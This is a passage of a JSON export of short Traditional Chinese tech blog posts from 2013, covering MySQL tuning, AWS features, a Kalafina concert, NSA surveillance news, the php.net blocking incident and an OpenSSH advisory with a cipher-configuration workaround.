    "body": "<a href=\"https://www.schneier.com/blog/\">Bruce Schneier 的 blog</a> 上寫了一篇「<a href=\"https://www.schneier.com/blog/archives/2013/10/insecurities_in.html\">Insecurities in the Linux /dev/random</a>」，針對 <code>/dev/random</code> 的亂度找出弱點攻擊，雖然目前的攻擊看起來影響不大...\r\n\r\n論文被傳到 <a href=\"http://eprint.iacr.org/\">Cryptology ePrint Archive</a> 上，名稱是「<a href=\"http://eprint.iacr.org/2013/338.pdf\">Security Analysis of Pseudo-Random Number Generators with Input: /dev/random is not Robust</a>」。\r\n\r\n<a href=\"http://www.nsa.gov/\">NSA</a> 向世人展示了任何實做上的問題都可以成為漏洞的能力，這些純理論的研究也愈來愈被重視...",
    "title": "對 /dev/random 的攻擊..."
  },
  {
    "id": "3761",
    "body": "<strong>Update</strong>：Hikaru 在 Kalafina 的官方網誌上寫了一篇「<a href=\"http://blog.oricon.co.jp/kalafina/archive/894/0\">『学生さんパワー!!』</a>」，裡面有很多學園祭 Live 的事情。\r\n\r\n先前聽過三場 <a href=\"http://www.kalafina.jp/\">Kalafina</a>，分別是 2010 年在台灣辦的兩場 Live (分別在 Y17 與華山)，以及今年 (2013) 年初在 <a href=\"http://shibuya-o.com/\">Shibuya O-EAST</a> 辦的「Kalafina 5th Anniversary LIVE “oblivious”」(這場還在 Kalafina Live 散場後遇到一起來聽水樹 LIVE GRACE OPUS II 的台灣人，不過這是題外話了...)，所以每次當 Kalafina 有 Event 或是 Live 時就會看看有沒有機會衝。\r\n\r\n剛好看到 Kalafina 受邀參加<a href=\"http://www.takachiho.ac.jp/\">高千穂大学</a>的學園祭，辦的日期是在員工旅遊的時間內，就請當時在日本出差的同事去 <a href=\"http://www.sej.co.jp/\">セブン-イレブン</a> (7-11) 弄了兩張票：(運氣算不錯，有訂 blog 看到「<a href=\"http://blog.oricon.co.jp/kalafina/archive/857/0\">Christmas Live、学園祭Live決定!!</a>」這篇)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/10066527626/\"><img src=\"//farm6.staticflickr.com/5467/10066527626_a605c27567_o.jpg\" alt=\"\" /></a>\r\n\r\n由於這次跟同事一起去，到現場不像年初的時候找地圖迷路找很久 (Shibuya O-EAST 在山坡上，上去的時候還懷疑自己是不是走錯...)，從飯店坐地鐵再轉 JR 京王線就可以到最近的車站，然後從車站出來後，路上有插高千穗祭的旗幟，所以就沿著旗幟與人群走，還蠻好找的。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/10364675363/\"><img src=\"//farm8.staticflickr.com/7402/10364675363_839a2328a5_b.jpg\" alt=\"\" /></a>\r\n\r\n也因為 Live 的時間是學員祭其他活動都結束的時間，進門後直接往人群處走就會到體育館了...\r\n\r\n這是外面海報的樣子，拍的時候是 Live 結束的時候 (大約晚上七點多)，因為沒控制好，所以看起來像白天...：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/10364515676/\"><img src=\"//farm8.staticflickr.com/7459/10364515676_21f8e972c2_b.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/10364503156/\"><img src=\"//farm8.staticflickr.com/7360/10364503156_79c9eb11af_b.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/10364499695/\"><img src=\"//farm4.staticflickr.com/3793/10364499695_003a798477_b.jpg\" alt=\"\" /></a>\r\n\r\n這張看起來就會比較像是在晚上拍的：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/10364524286/\"><img src=\"//farm4.staticflickr.com/3690/10364524286_fee683852f_b.jpg\" alt=\"\" /></a>\r\n\r\nLive 的歌單在 <a href=\"https://twitter.com/\">Twitter</a> 上有人有發表了：\r\n\r\n<blockquote class=\"twitter-tweet\"><p>高千穂大学　kalafinaセトリ&#10;&#10;満天&#10;to the beginning&#10;&#10;胸の行方&#10;Door&#10;moonfesta～ムーンフェスタ～&#10;&#10;ひかりふる&#10;consolation&#10;signal&#10;音楽&#10;&#10;アレルヤ&#10;sprinter&#10;&#10;（Encore）&#10;夢の大地</p>&mdash; まっつん (@ma_kun_law) <a href=\"https://twitter.com/ma_kun_law/statuses/391510134603526144\">October 19, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n整場 Live 只有 80 分鐘，場地大約是一千人到一千五百人的規模。雖然在體育館內，而且偶而還是會有 echo，但這是第一次看 Kalafina 唱學園祭，沒看過唱的這麼 high 的 Keiko 啊，有種先喝了兩杯再上的感覺... XD\r\n\r\n現場很明顯有很多是常跑 Kalafina Live 的 fans，前奏一出來就知道要打什麼 call 的，不過大多數人還是不清楚，就在旁邊看著他們打 :p\r\n\r\n比較特別的是《<a href=\"https://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%AC%E3%83%AB%E3%83%A4\">アレルヤ</a>》，這是《<a href=\"https://ja.wikipedia.org/wiki/%E7%A9%BA%E3%81%AE%E5%A2%83%E7%95%8C_%E6%9C%AA%E6%9D%A5%E7%A6%8F%E9%9F%B3\">空の境界 未来福音</a>》的主題曲，剛好前一天跟同事跑去看了電影，所以所有的歌曲都還算熟悉...\r\n\r\n結束後除了上面貼的那幾張以外，還拍了一些學園祭相關的... 這是出去的時候拍的入口：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/10364693303/\"><img src=\"//farm4.staticflickr.com/3795/10364693303_ed9b238885_b.jpg\" alt=\"\" /></a>\r\n\r\n這次學園祭的 Live 是個很特別的經驗，有機會應該會再衝 :p",
    "title": "Kalafina 在高千穗大學辦的學園祭上的 Live..."
  },
  {
    "id": "3767",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的人寫了一篇「<a href=\"http://www.mysqlperformanceblog.com/2013/10/16/utf8-data-on-latin1-tables-converting-to-utf8-without-downtime-or-double-encoding/\">utf8 data on latin1 tables: converting to utf8 without downtime or double encoding</a>」，告訴你怎麼將 latin1 的 TEXT 欄位轉成 UTF-8，文章內有提到利用 BLOB 轉。\r\n\r\n不確定同樣方式能不能做在 VARCHAR 上面 (用 BINARY 轉？)，但不知道會不會有 UNIQUE + prefix support 的問題？有遇到再來測試看看...",
    "title": "將 latin1 的表格轉換成 UTF-8 表格..."
  },
  {
    "id": "3769",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的「<a href=\"http://www.mysqlperformanceblog.com/2013/10/18/innodb-scalability-issues-tables-without-primary-keys/\">InnoDB scalability issues due to tables without primary keys</a>」這篇文章在討論 InnoDB 在沒有 PRIMARY KEY 時的效能問題。\r\n\r\n在討論效能問題前，應該先讀過 <a href=\"http://dev.mysql.com/\">MySQL</a> 官方文件裡提到 InnoDB index 架構的文章，其中就有提到 PRIMARY KEY 以及其他的 INDEX KEY 的底層架構：「<a href=\"http://dev.mysql.com/doc/refman/5.5/en/innodb-table-and-index.html\">InnoDB Table and Index Structures</a>」。\r\n\r\nInnoDB 是 clustered index 架構 (關於 clustered index 的完整說明，可以參考維基百科的「<a href=\"https://en.wikipedia.org/wiki/Database_index\">Database index</a>」條目)，也就是說，資料本身 (row data) 存放時會按照某個順序存放，這邊的順序是按照這樣的方式定義的：\r\n<ul>\r\n\t<li>如果你有指定 PRIMARY KEY，那麼就會直接用 PRIMARY KEY 當作 clustered index。</li>\r\n\t<li>如果沒有指定 PRIMARY KEY，但有 UNIQUE INDEX，而且所有欄位都是 NOT NULL，那麼就用這組 UNIQUE INDEX (NOT NULL) 當作 clustered index。</li>\r\n\t<li>如果都沒有指定 PRIMARY KEY，那麼就會產生一個隱藏的欄位，是一個 6 bytes 的 auto increment 的數字，用這個欄位當 clustered index。也因為如此，在這種情況下，資料會依照建立的順序存放。</li>\r\n</ul>\r\n另外，InnoDB 的 secondary index 會指到 PRIMARY KEY (B+Tree 的 value 部分是放 PRIMARY KEY)。\r\n\r\n所以，一般在規劃資料庫時建議的作法是：\r\n<ul>\r\n\t<li>所有的表格都要有 PRIMARY KEY。</li>\r\n\t<li>PRIMARY KEY 必須是 INT UNSIGNED (4 bytes)，只有在需要 BIGINT UNSIGNED (8 bytes)的時候才用 BIGINT UNSIGNED。</li>\r\n</ul>\r\n對於有大量 secondary index 的表格更應該這樣做 (因為可以省下大量空間)。而對於現代的 ORM 來說，也都幾乎要求要有 PRIMARY KEY，甚至有些 ORM 要求 PRIMARY KEY 必須是 single column。\r\n\r\n如果你都能了解後，再去看 Percona 討論沒有 PRIMARY KEY 的情況時，才能了解他們想要討論什麼事情... 裡面還包含了 InnoDB 格式的差異。",
    "title": "用 InnoDB 時關於 PRIMARY KEY 的建議"
  },
  {
    "id": "3771",
    "body": "看起來是飛出國那天發表的，<a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 支援 POST 了：「<a href=\"http://aws.typepad.com/aws/2013/10/amazon-cloudfront-content-uploads-post-put-other-methods.html\">Amazon CloudFront - Content Uploads Via POST, PUT, other HTTP Methods</a>」。\r\n\r\n標題上寫了不少東西，不過看起來都是一樣的... 這次的功能是把 POST 類的 HTTP method 往後送，所以整個網站都可以丟上 CloudFront，並且只用單一 domain 就可以同時處理靜態加速與動態修改。\r\n\r\n愈來愈接近其他商業 CDN 先驅能提供的功能了...",
    "title": "Amazon CloudFront 支援 POST 了..."
  },
  {
    "id": "3776",
    "body": "<a href=\"http://blog.streamingmedia.com/\">Dan Rayburn</a> 的文章：「<a href=\"http://blog.streamingmedia.com/2013/10/level-3-surpass-limelight-2-cdn-market-based-revenue.html\">Level 3 To Surpass Limelight As #2 CDN In The Market, Based On Revenue</a>」。\r\n\r\n這幾家還是很大... <a href=\"http://www.akamai.com/\">Akamai</a>、<a href=\"http://www.limelight.com/\">Limelight Networks</a>、<a href=\"http://www.edgecast.com/\">EdgeCast</a>、<a href=\"http://www.amazon.com/\">Amazon</a>。\r\n\r\n<a href=\"http://www.cdnetworks.com/\">CDNetworks</a> 已經被忽略了... 不過也對啦，這幾年完全沒有像樣的新功能 :o",
    "title": "Level 3 的 CDN 業務..."
  },
  {
    "id": "3780",
    "body": "看到「<a href=\"http://thechangelog.com/meteotester-collects-tests-accuracy-weather-apis/\">MeteoTester collects and tests the accuracy weather APIs</a>」這篇文章介紹 <a href=\"http://meteotester.com/\">MeteoTester</a> 這個站，拿來統計氣象誤差值...\r\n\r\n在 <a href=\"http://meteotester.com/info.html\">about</a> 頁面上有說明是統計 <a href=\"http://forecast.io/\">forecast.io</a>、<a href=\"http://www.openweathermap.org/\">openweathermap.org</a>、<a href=\"http://www.wunderground.com/\">wunderground.com</a> 以及 <a href=\"http://www.worldweatheronline.com/\">worldweatheronline.com</a> 這四個站的資料。\r\n\r\n拉出來的圖像是這樣：\r\n\r\n<img src=\"//i.imgur.com/tfTb7sX.png\" alt=\"\" />\r\n\r\n紅色是最高溫度，藍色是最低溫度，另外長條部份是降雨機率，然後三個值每個都有 range...\r\n\r\n不過不知道這個資料可以做什麼... @_@",
    "title": "氣象統計：MeteoTester"
  },
  {
    "id": "3784",
    "body": "在「<a href=\"http://aws.typepad.com/aws/2013/10/aws-direct-connect-more-connection-speeds-new-console-multiple-accounts.html\">AWS Direct Connect - More Connection Speeds, New Console, Multiple Accounts</a>」這篇文章裡面提到了 <a href=\"http://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 可以接受 50Mbps～500Mbps 的頻寬了，而先前只接受 1Gbps 與 10Gbps...\r\n\r\n不過 500Mbps 的頻寬與 1Gbps 頻寬的 port 價錢是相同的，都是 USD$0.3/hour，其他較低的速度就依照 500Mbps 的比率計算。\r\n\r\n比較特別的是 50Mbps，是用 QoS 限制頻寬嗎？這樣的速度還蠻特別的...",
    "title": "AWS Direct Connect 向下提供 50Mbps 的連線頻寬..."
  },
  {
    "id": "3786",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 發了一篇「<a href=\"http://www.mysqlperformanceblog.com/2013/10/23/high-availability-options-for-mysql-october-2013-update/\">High-availability options for MySQL, October 2013 update</a>」，比較目前 <a href=\"http://dev.mysql.com/\">MySQL</a> 上常見的 High Availability 機制。\r\n\r\n包括了五個系統：\r\n<ul>\r\n\t<li>Percona XtraDB Cluster (PXC)</li>\r\n\t<li>Percona replication manager (PRM)</li>\r\n\t<li>MySQL master HA (MHA)</li>\r\n\t<li>NDB Cluster</li>\r\n\t<li>Shared storage/DRBD</li>\r\n</ul>\r\n這些都是把 High Availability 做在 MySQL 上，讓前端的程式不需要操心的方式。都是有個固定的 IP address 保證可以讀寫。\r\n\r\n這五個方案都不完美，看環境需求而選擇使用。\r\n\r\n我一般給的建議還是 <a href=\"http://linux-ha.org/wiki/Heartbeat\">Heartbeat</a> + <a href=\"http://www.drbd.org/\">DRBD</a> + InnoDB，這個方法是極為成熟的方法，會遇到的問題網路上都已經討論過了。如果找 Percona 的人支援也是完全沒問題。",
    "title": "Percona 的 MySQL High Availability 機制比較文"
  },
  {
    "id": "3788",
    "body": "昨天一整天 <a href=\"http://php.net/\">php.net</a> 網域下的網站都被擋掉：\r\n\r\n<img src=\"//i.imgur.com/2OFY1KS.png\" alt=\"\" />\r\n\r\n在 <a href=\"https://twitter.com/\">Twitter</a> 上也有看到 <a href=\"http://toys.lerdorf.com/\">Rasmus Lerdorf</a> 在抱怨：\r\n\r\n<blockquote class=\"twitter-tweet\"><p>It appears Google has found a false positive and marked all of <a href=\"http://t.co/yKzgbWewmH\">http://t.co/yKzgbWewmH</a> as suspicious. <a href=\"http://t.co/YDlHcUnCK6\">pic.twitter.com/YDlHcUnCK6</a></p>&mdash; Rasmus Lerdorf (@rasmus) <a href=\"https://twitter.com/rasmus/statuses/393258147025932288\">October 24, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\nRasmus 說是 false positive (誤判)，不過我是不太直接相信他講的話...\r\n\r\n剛剛看到 <a href=\"http://news.netcraft.com/\">Netcraft</a> 整理了一些資料出來「<a href=\"http://news.netcraft.com/archives/2013/10/24/php-net-blocked-by-google-false-positive-or-not.html\">PHP.net blocked by Google: False positive or not?</a>」，裡面有不少東西可以看...\r\n\r\n其中最後這段：\r\n\r\n<blockquote>However, a short moment ago, a Hacker News user posted some obfuscated JavaScript that was found appended to a possibly cached version of the userprefs.js script, suggesting that the PHP.net website may have been compromised recently.</blockquote>\r\n\r\n<blockquote>The obfuscated JavaScript inserts an iframe into the webpage, which loads content from an external site known for distributing malware. Google Chrome blocks the inclusion of any content from known malware domains, although the injected content in this case no longer appears to be accessible.</blockquote>\r\n\r\n這段有問題的 javascript code 的解讀可以在<a href=\"https://news.ycombinator.com/item?id=6604251\">這裡</a>看到說明。\r\n\r\n如果的確是 compromise，那這事就沒完了，接下來還要找是從哪個洞進來的... 不過以 php.net 的情況，(消音)...",
    "title": "php.net 被擋的後續分析..."
  },
  {
    "id": "3791",
    "body": "在 <a href=\"http://www.zite.com/\">Zite</a> 上看到這篇介紹 <a href=\"http://dev.mysql.com/\">MySQL</a> 效能調教的方式：「<a href=\"http://www.tocker.ca/2013/10/24/improving-the-performance-of-large-tables-in-MySQL.html\">Ten ways to improve the performance of large tables in MySQL</a>」。\r\n\r\n這邊就順著作者的建議一路寫下去。\r\n\r\n作者也是大力推薦用 InnoDB 解決問題。\r\n\r\nInnoDB 有個特別的功能 (相較於 MyISAM 而言。這個功能在 MySQL 5.5 預設就是開啟的) 是 change buffering，會延遲寫入 non-unique secondary index，讓多筆 secondary index 合併起來一起寫，這會改善寫入的效能。\r\n\r\nPartition 對於 index 的大小也會有幫助。InnoDB 的壓縮功能也是必備項目 (除非你的 Use case 很極端)，減少資料量就直接減少 i/o 並且拉高 hitrate。\r\n\r\n再大量寫入資料時依照順序寫入會讓 InnoDB 寫入的順序僅可能連續。由於 InnoDB 的特性 (clustered index)，這樣可以讓寫入速度變快很多。\r\n\r\n避免使用 UNIQUE key，因為 UNIQUE 的特性會犧牲很多效能...\r\n\r\n因為 secondary index 是指到 PRIMARY KEY 的值，所以 PRIMARY KEY 的值僅可能單純，以 INT 或是 BIGINT 為佳。\r\n\r\n第一次大量倒資料進系統時，可以先倒 data 以及 PRIMARY KEY 就好 (如上所說的，要依照 PRIMARY KEY 的順序倒進去)，等倒完後再建立 secondary index，這樣速度會快很多。\r\n\r\n最後兩項就是，記憶體愈大愈好，硬碟愈快愈好，如果用 SSD 是可行的方案就用 :p",
    "title": "十個改善 MySQL 效能的方式"
  },
  {
    "id": "3795",
    "body": "在「<a href=\"http://thechangelog.com/offline-displays-indicators-to-your-users/\">Offline automatically displays online/offline indicators to your users</a>」看到 <a href=\"https://github.com/hubspot/offline\">Offline</a> 這個軟體，可以偵測網路狀態，做出像 Gmail 在離線時重連的特效...\r\n\r\n在偵測到斷線時：\r\n\r\n<img src=\"//i.imgur.com/ijdkpSZ.png\" alt=\"\" />\r\n\r\n然後是重連的效果：\r\n\r\n<img src=\"//i.imgur.com/VcAtJOV.png\" alt=\"\" />\r\n\r\n偵測到回復時的效果：\r\n\r\n<img src=\"//i.imgur.com/y6gsCN0.png\" alt=\"\" />\r\n\r\n支援 IE8+ 與其他瀏覽器...",
    "title": "在瀏覽器內偵測連線是否正常..."
  },
  {
    "id": "3798",
    "body": "最近幾天揭露的文件顯示 <a href=\"http://www.nsa.gov/\">NSA</a> 在監聽 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"http://www.yahoo.com/\">Yahoo!</a> 在內部機房內的通訊：「<a href=\"http://www.washingtonpost.com/world/national-security/nsa-infiltrates-links-to-yahoo-google-data-centers-worldwide-snowden-documents-say/2013/10/30/e51d661e-4166-11e3-8b74-d89d714ca4dd_story.html\">NSA infiltrates links to Yahoo, Google data centers worldwide, Snowden documents say</a>」。\r\n\r\n不是 Google 與 Yahoo! 之間的通訊，而是 Google 自家資料中心之間交換的資料 (以及 Yahoo! 自家資料中心交換的資料)，像是這樣：\r\n\r\n<img src=\"//i.imgur.com/c9mIPtO.png\" alt=\"\" />\r\n\r\n重點在右半塊的內部通訊內容未必會被加密...\r\n\r\nSwitch 與 Router 要內建 Wirespeed IPsec 的時代要來臨了嗎... 40Gbps (甚至 100Gbps) 的 IPsec 能力！XDDD",
    "title": "NSA 聽 Google 與 Yahoo! 跨機房的 LAN..."
  },
  {
    "id": "3800",
    "body": "前幾天看到的大新聞，<a href=\"http://www.cisco.com/\">Cisco</a> 實做了 BSD license 的 H.264 並且付了專利費用：「<a href=\"http://blogs.cisco.com/collaboration/open-source-h-264-removes-barriers-webrtc\">Open-Sourced H.264 Removes Barriers to WebRTC</a>」。\r\n\r\n依照 Cisco 的說法，是為了推動 <a href=\"http://www.webrtc.org/\">WebRTC</a> 而決定這樣做的：\r\n\r\n<blockquote>Many, including Cisco, have been backing H.264, the industry standard which today powers much of the video on the Internet. We strongly believe that interoperability is an essential goal of standards activities and that usage of H.264 by WebRTC means it will be able to interconnect, without transcoding, to a large set of existing clients from a multitude of vendors.</blockquote>\r\n\r\n而 <a href=\"http://www.mozilla.org/\">Mozilla</a> 也打算用這份授權支援 H.264：「<a href=\"https://blog.mozilla.org/blog/2013/10/30/video-interoperability-on-the-web-gets-a-boost-from-ciscos-h-264-codec/\">Video Interoperability on the Web Gets a Boost From Cisco’s H.264 Codec</a>」。\r\n\r\n不過，source code 好像還沒放出來啊？在 <a href=\"http://www.openh264.org/\">OpenH264</a> 這邊寫著「Source Code Coming Soon」...",
    "title": "Cisco 將會付 H.264 的授權費用..."
  },
  {
    "id": "3803",
    "body": "<a href=\"https://www.google.com/apps/\">Google Apps</a> 宣佈停止支援 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_9\">IE9</a>：「<a href=\"http://googleappsupdates.blogspot.com/2013/11/end-of-support-for-internet-explorer-9.html\">End of support for Internet Explorer 9</a>」。\r\n\r\nIE9 是個很特別的版本，他並不是任何一個 Microsoft Windows 的內建瀏覽器，只支援 Windows Vista 以及之後的版本，所以 Windows XP 能用到最新的 IE 瀏覽器是 IE8。\r\n\r\n基於這樣的理由，會使用 IE9 的人都是另外再安裝的，算是比較進階的使用者。對於這些使用者，要他們升級到 IE10+ 或是其他瀏覽器應該不是太大的問題，所以 Google Apps 這麼快就不支援 IE9 也是愈其中的事情了 :p",
    "title": "Google Apps 停止支援 IE9"
  },
  {
    "id": "3806",
    "body": "前幾個禮拜在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到政府單位花了 54 萬美金建立藍牙監控網路，利用這些資訊可以分析出車流狀況：「<a href=\"http://tech.slashdot.org/story/13/10/21/1622228/connecting-to-unsecured-bluetooth-car-systems-to-monitor-traffic-flow\">Connecting To Unsecured Bluetooth Car Systems To Monitor Traffic Flow</a>」，引用的報導在：「<a href=\"http://www.columbian.com/news/2013/oct/21/bluetooth-traffic-flow-clark-county/\">Bluetooth can help local traffic flow</a>」。\r\n\r\n有 3% 到 5% 的車流會有 Discoverable 模式的藍牙裝置，偵測這些 MAC address，就能夠判斷出車子行經的時間點與路線。\r\n\r\n不過監控完後能幹什麼啊？我又想到 <a href=\"http://www.nsa.gov/\">NSA</a> 了...",
    "title": "用 Discoverable 藍牙裝置的資訊分析車流狀況..."
  },
  {
    "id": "3809",
    "body": "在 <a href=\"https://www.schneier.com/\">Bruce Schneier</a> 的 blog 上看到這篇推薦文章，介紹橢圓曲線密碼學的基礎：「<a href=\"https://www.schneier.com/blog/archives/2013/11/elliptic_curve.html\">Elliptic Curve Crypto Primer</a>」。被推薦的文章是「<a href=\"http://arstechnica.com/security/2013/10/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/\">A (relatively easy to understand) primer on elliptic curve cryptography</a>」這篇。\r\n\r\n<img src=\"//i.imgur.com/wFxTcwH.png\" alt=\"\" />\r\n\r\n當初在學校的時候學這個是靠著數學系代數的背景硬吃，看了一下這篇介紹，講得超級淺啊...\r\n\r\n建議要再研究的人還是看看 1985 年的「<a href=\"http://www.ams.org/journals/mcom/1987-48-177/S0025-5718-1987-0866109-5/\">Elliptic curve cryptosystems</a>」，只有七頁，這篇就是 ECC 的起源。",
    "title": "橢圓曲線密碼學..."
  },
  {
    "id": "3812",
    "body": "<a href=\"http://www.mozilla.org/\">Mozilla</a> 推出定位服務：「<a href=\"https://blog.mozilla.org/services/2013/10/28/introducing-the-mozilla-location-service/\">Introducing the Mozilla Location Service</a>」，也就是 <a href=\"https://location.services.mozilla.com/\">Mozilla Location Service</a>。\r\n\r\n行動裝置利用收到的 WiFi 以及基地台訊號資訊定位的服務。這也是 GPS 定位以外最常被用到的方法 (尤其是室內與地下)。\r\n\r\n維基百科的「<a href=\"https://en.wikipedia.org/wiki/Cell_ID\">Cell ID</a>」這個條目可以看到很多類似的服務，可以看到兩個比較大的：\r\n<ul>\r\n\t<li><a href=\"http://www.opencellid.org/\">OpenCellID</a></li>\r\n\t<li><a href=\"http://opensignal.com/\">OpenSignal</a></li>\r\n</ul>\r\n不過 Mozilla 的名號使得 Mozilla 推出的這個服務成長的相當迅速：\r\n\r\n<img src=\"//i.imgur.com/7OSEIAf.png\" alt=\"\" />\r\n\r\n可以看出來 Mozilla 一宣佈後才一個多禮拜就直接 double，不知道要到什麼程度才會趨緩...\r\n\r\n目前雖然比起其他的服務還差了一大截，不過有希望在半年一年內成為權威的 Location Service...",
    "title": "Mozilla 推出的定位服務..."
  },
  {
    "id": "3814",
    "body": "微軟對 Windows XP 的支援到 2014 年 4 月 8 日：\r\n\r\n<img src=\"//i.imgur.com/9KHKS2F.png\" alt=\"\" />\r\n<small>出自「<a href=\"http://windows.microsoft.com/en-US/windows/end-support-help\">Support is ending for Windows XP - Microsoft Windows</a>」</small>\r\n\r\n而 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 也宣佈只支援到 2015 年 4 月 (晚一年)：「<a href=\"http://googleenterprise.blogspot.com/2013/10/extending-chrome-support-for-xp-users.html\">Extending Chrome support for XP users until April 2015</a>」。\r\n\r\n目前 <a href=\"http://www.mozilla.org/\">Mozilla</a> 還沒說什麼，不過應該也不會比 Google Chrome 長太久吧，畢竟 Windows 7 的市占率一直在提昇...",
    "title": "Windows XP 上的瀏覽器..."
  },
  {
    "id": "3816",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到的舊聞，<a href=\"http://www.dell.com/\">Dell</a> 變成私人公司了：「<a href=\"http://hardware.slashdot.org/story/13/10/29/165204/dell-is-now-a-private-company-again\">Dell Is Now a Private Company Again</a>」。\r\n\r\nDell 官方的新聞稿在這：「<a href=\"http://www.dell.com/learn/us/en/uscorp1/secure/2013-10-29-dell-completes-go-private-transaction\">Dell Completes Go-Private Transaction</a>」。\r\n\r\n下市後不知道會怎麼發展...",
    "title": "Dell 完成下市轉為私人公司..."
  },
  {
    "id": "3818",
    "body": "<a href=\"http://aws.amazon.com/storagegateway/\">AWS Storage Gateway</a> 推出新的「磁帶」模式：「<a href=\"http://aws.typepad.com/aws/2013/11/create-a-virtual-tape-library-using-the-aws-storage-gateway.html\">Create a Virtual Tape Library Using the AWS Storage Gateway</a>」。\r\n\r\n原先的 AWS Storage Gateway 只支援兩種模式：\r\n<ul>\r\n\t<li>Gateway-Cached Volumes：實際資料在 <a href=\"http://aws.amazon.com/s3/\">Amazon S3</a> 上，在本地有 cache。</li>\r\n\t<li>Gateway-Stored Volumes：實際資料在本地，定時備份到 Amazon S3 上。</li>\r\n</ul>\r\n上面兩種方式對於 client 都還是 block storage (random access)，可以用 iSCSI 掛上來用。\r\n\r\n新的 Gateway-Virtual Tape Library (Gateway-VTL) 則是模擬磁帶架構，除了可以丟到 Amazon S3 上以外，也可以丟到 <a href=\"http://aws.amazon.com/glacier/\">Amazon Glacier</a> 上！XD\r\n\r\n很有趣的架構啊... XD",
    "title": "AWS Storage Gateway 推出新的模式..."
  },
  {
    "id": "3820",
    "body": "<a href=\"http://www.linode.com/\">Linode</a> 剛剛宣佈 NodeBalancer 支援 SSL 了：「<a href=\"https://blog.linode.com/2013/11/07/nodebalancer-ssl/\">NodeBalancer SSL</a>」。\r\n\r\n<img src=\"//i.imgur.com/i80cSMt.gif\" alt=\"\" />\r\n\r\n也就是 SSL offload，在前端解開 SSL 後往後端用的是 HTTP，也就可以帶入 <code>X-Forwarded-For</code> 了...",
    "title": "Linode 的 NodeBalancer 支援 SSL 了..."
  },
  {
    "id": "3822",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的英文打字遊戲：「<a href=\"http://phoboslab.org/ztype/\">Z-Type</a>」。\r\n\r\n<img src=\"//i.imgur.com/s5kpO2I.png\" alt=\"\" />\r\n\r\n遊戲的內容讓我想到 <a href=\"https://en.wikipedia.org/wiki/The_Typing_of_the_Dead\">TTOTD</a> 啊...\r\n\r\n<img src=\"//i.imgur.com/UNHmd2M.jpg\" alt=\"\" />",
    "title": "打字遊戲..."
  },
  {
    "id": "3824",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/gasolwu\">Gasol</a> 轉推的 <a href=\"http://www.openssh.com/\">OpenSSH</a> 安全性問題：「<a href=\"http://www.openssh.com/txt/gcmrekey.adv\">OpenSSH Security Advisory: gcmrekey.adv</a>」。\r\n\r\n開頭就直接寫：\r\n<blockquote>If exploited, this vulnerability might permit code execution with the privileges of the authenticated user and may therefore allow bypassing restricted shell/command configurations.</blockquote>\r\n這噴飯了... OpenSSH 的安全性相當強，這次出這種包... XDDD\r\n\r\n影響的範圍是 OpenSSH 6.2 與 6.3，並且 <a href=\"http://www.openssl.org/\">OpenSSL</a> 有編 AES-GCM：\r\n<blockquote>OpenSSH 6.2 and OpenSSH 6.3 when built against an OpenSSL that supports AES-GCM.</blockquote>\r\n\r\n如果不允許升級到 OpenSSH 6.4，那麼暫時性的解法是不允許 AES-GCM，在 <code>/etc/ssh/sshd_config</code> 內可以設：\r\n<blockquote><code>Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc</code></blockquote>\r\n\r\n結果 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 9.2 看起來在範圍內中槍，先上 workaround 再來等 <a href=\"http://www.freebsd.org/doc/handbook/updating-upgrading-freebsdupdate.html\">freebsd-update</a> 提供的修正吧...",
    "title": "OpenSSH 安全性問題..."
  },
  {
    "id": "3827",
    "body": "<a href=\"http://www.theguardian.com/\">衛報</a> (The Guardian) 對 Snowden 爆料的事情開了一個特刊：「<a href=\"http://www.theguardian.com/world/interactive/2013/nov/01/snowden-nsa-files-surveillance-revelations-decoded\">NSA files decoded: Edward Snowden's surveillance revelations explained</a>」。\r\n\r\n<img src=\"//i.imgur.com/AWWhnJj.jpg\" alt=\"\" />\r\n\r\n首先，Snowden 爆料 <a href=\"http://www.nsa.gov/\">NSA</a> 這件事情的熱潮一直在延續 (一直都很精彩)，而且衛報本來就是在這整件事情裡面佔有很重要的角色，由衛報做這個特刊並不意外。\r\n\r\n但衛報這個頁面利用 HTML5 video 與大量 CSS3 效果，向全世界展示了「網站上的特刊可以這樣做！」，強烈建議有在關注這個主題的企劃，以及視覺設計的人花時間去看看整體的呈現。\r\n\r\n以往類似的東西要嘛就是主題不夠精彩，要嘛就是呈現不夠精彩。這次因為 Snowden 的爆料已經持續幾個月了，衛報自然願意花大量的資源專訪 (於是可以看到不少 video 短片) 以及整理。在手上素材夠多，以及一流的呈現方式，造就了這個精彩的特刊。",
    "title": "英國衛報對 Snowden 爆料 NSA 的特刊..."
  },
  {
    "id": "3830",
